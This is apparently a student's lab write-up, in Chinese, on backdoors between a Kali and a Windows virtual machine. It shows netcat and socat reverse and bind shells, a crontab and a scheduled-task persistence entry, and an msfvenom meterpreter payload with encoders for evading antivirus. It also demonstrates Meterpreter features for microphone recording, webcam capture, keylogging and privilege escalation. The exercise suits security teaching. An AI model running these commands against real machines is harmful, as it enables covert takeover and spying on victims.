目錄linux
1.例舉你能想到的一個後門進入到你係統中的可能方式?web
2.例舉你知道的後門如何啓動起來(win及linux)的方式?shell
3.Meterpreter有哪些給你映像深入的功能?vim
4.如何發現本身有系統有沒有被安裝後門?windows
Windows:使用ipconfig
指令查看本機IP:192.168.19.128
網絡
使用ncat.exe程序監聽本機的
5230端口:ncat.exe -l -p 5230
tcp
Kali:使用nc指令的-e選項反向鏈接Windows主機的5230端口:ncat 192.168.19.128 5230 -e /bin/sh
編輯器
Windows下成功運行Kali的shell,運行ls指令以下:
工具
Kali:ifconfig
查看IP:
192.168.19.129
網站
Kali使用nc指令監聽5230端口:nc -l -p 5230
Windows:使用ncat.exe程序的-e
選項項反向鏈接Kali主機的5230端口:ncat.exe -e cmd.exe 192.168.19.128 5230
Kali:運行Windows的cmd shell 並輸入命令執行:
Windows下監聽5230
端口:ncat.exe -l 5230
Kali下鏈接到Windows的`5230
端口:nc 192.168.19.128 5230
創建以後進行文字傳輸,後面會說道用來傳輸後門:
Windows下監聽5230
端口,把收到的數據保存到file1.out
中:ncat.exe -l 5230 > file1.out
Kali下先建立file1.in文件,再反彈鏈接到Windows的`5230
端口:nc 192.168.19.128 5230 < file1.in
傳輸成功
-p 使用的payload。payload翻譯爲有效載荷,就是被運輸有東西。這裏windows/meterpreter/reverse_tcp就是一段shellcode. -x 使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中。 -e 使用的編碼器,用於對shellcode變形,爲了免殺。 -i 編碼器的迭代次數。如上即便用該編碼器編碼5次。 -b badchar是payload中須要去除的字符。 LHOST 是反彈回連的IP LPORT 是回連的端口 -f 生成文件的類型 > 輸出到哪一個文件
socat [options] <address> <address>
,其中兩個address
是必選項,而options
是可選項。address
就是表明了其中的一個方向。所謂流,表明了數據的流向,而數據則能夠有許多不一樣的類型,命令中也就相應須要許多選項對各類不一樣的類型數據流進行限定與說明。先在Windows
系統下,監聽`5230
端口:
在Kali環境下,使用man cron
指令查看crontab
命令的幫助文檔:
crontab指令能夠用於設置週期性被執行的指令。該命令從標準輸入設備讀取指令,並將其存放於crontab
文件中,以供以後讀取和執行。
用crontab -e
指令編輯一條定時任務,選擇編輯器時選擇基本的vim編輯器就行:
在最後一行添加37 * * * * /bin/netcat 192.168.19.129 5230 -e /bin/sh
,意思是在每一個小時的第37分鐘反向鏈接Windows主機的5230端口
,設置成37的緣由是我當時的時間是17:36(這樣過一會就能看到鏈接效果了)
當時間到了17:37時,此時已經得到了Kali的shell,能夠輸入指令
在Windows系統下,打開控制面板下搜索任務計劃就能夠開始建立任務
點擊觸發器
選項卡,選擇新建
,而後將開始任務設置爲工做站鎖定時
點擊常規
選項卡,輸入名稱(學號):
在操做->程序或腳本中選擇你的socat.exe文件的路徑,在添加參數一欄填寫tcp-listen:5230 exec:cmd.exe,pty,stderr
(兩個參數之間用空格或者;),這個命令的做用是把cmd.exe綁定到端口5230,同時把cmd.exe的stderr重定向到stdout上:
建立完成以後,能夠windows+L
鎖定計算機讓它執行。
此時,在Kali環境下輸入指令socat - tcp:192.168.19.129:5230
,這裏的第一個參數-表明標準的輸入輸出,第二個流鏈接到Windows主機的5230端口,此時能夠發現已經成功得到了一個cmd shell
:
在kali中輸入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=5230 -f exe > 20155230_backdoor.exe
注意這裏的IP地址爲控制端IP,即LinuxIP,生成後門程序:
在Windows下執行ncat.exe -l 5230 > 20165230_backdoor.exe
,這樣被控主機就進入了接收文件模式
在kali中經過nc 192.168.19.128 5230 < 20165230_backdoor.exe
將生成的後門程序傳送到Windows
主機上.注意這裏的IP爲被控主機IP,即WindowsIP
傳送接收文件成功
在Kali上使用msfconsole
指令進入msf控制檯,
使用監聽模塊,設置payload,設置反彈回連的IP和端口:
use exploit/multi/handler 使用監聽模塊,設置payload set payload windows/meterpreter/reverse_tcp,使用和生成後門程序時相同的payload set LHOST 192.168.19.129,這裏用的是LinuxIP,和生成後門程序時指定的IP相同 set LPORT 5230,一樣要使用相同的端口
設置完成後,執行監聽exploit
:
雙擊打開Windows上的後門程序
此時Kali上已經得到了Windows主機的鏈接,而且獲得了遠程控制的shell:
使用record_mic
指令截獲一段音頻:
使用webcam_snap
指令可使用攝像頭進行拍照:
使用webcam stream
指令可使用攝像頭進行錄像:
使用screenshot
指令能夠進行截屏:
在kali中使用keyscan_start
指令開始,在windows中記錄下擊鍵的過程,使用keyscan_dump
指令讀取擊鍵的記錄:
先使用getuid
指令查看當前用戶,使用getsystem
指令進行提權,如圖所示,提權成功:
作實驗的兩臺虛擬機之間不能互相ping通,提示network is unreachable
解決方法:將兩臺虛擬機都關機,而後將網絡配置爲NAT模式,注意!不能掛起進行配置!不然將不成功!!實驗中kali虛擬機和windows虛擬機是在NAT網絡下實現交互的,
有點奇怪的是kali虛擬機在NAT網絡模式下無法上網,只有把改成橋接模式才行,
而windows虛擬機在橋接模式下又不能上網了,這就很氣人了。
virtualbox的網絡地址轉換NAT模式和NAT網絡模式是兩個不一樣的模式,
詭異的是在NAT模式下,kali虛擬機和windows虛擬機自動分配的地址都是同樣的,手工配置IP地址仍是會有問題,ping確定是ping不通的。
最後仍是用的NAT網絡模式,兩個虛擬機的IP地址會不同。
kali虛擬機無法上網無所謂了,只要能跟windows虛擬機連上就好了,兩個計算機的文件傳輸用netcat實現。
在進行webcam_snap
時提示錯誤
解決方法:windows系統裏沒有攝像頭設備,那咱們就把攝像頭的USB鏈接切到win7上面來,由於攝像頭這種USB設備不可能虛擬機和本機一塊兒使用。在虛擬機->可移動設備->最後一個選項裏選擇鏈接主機便可解決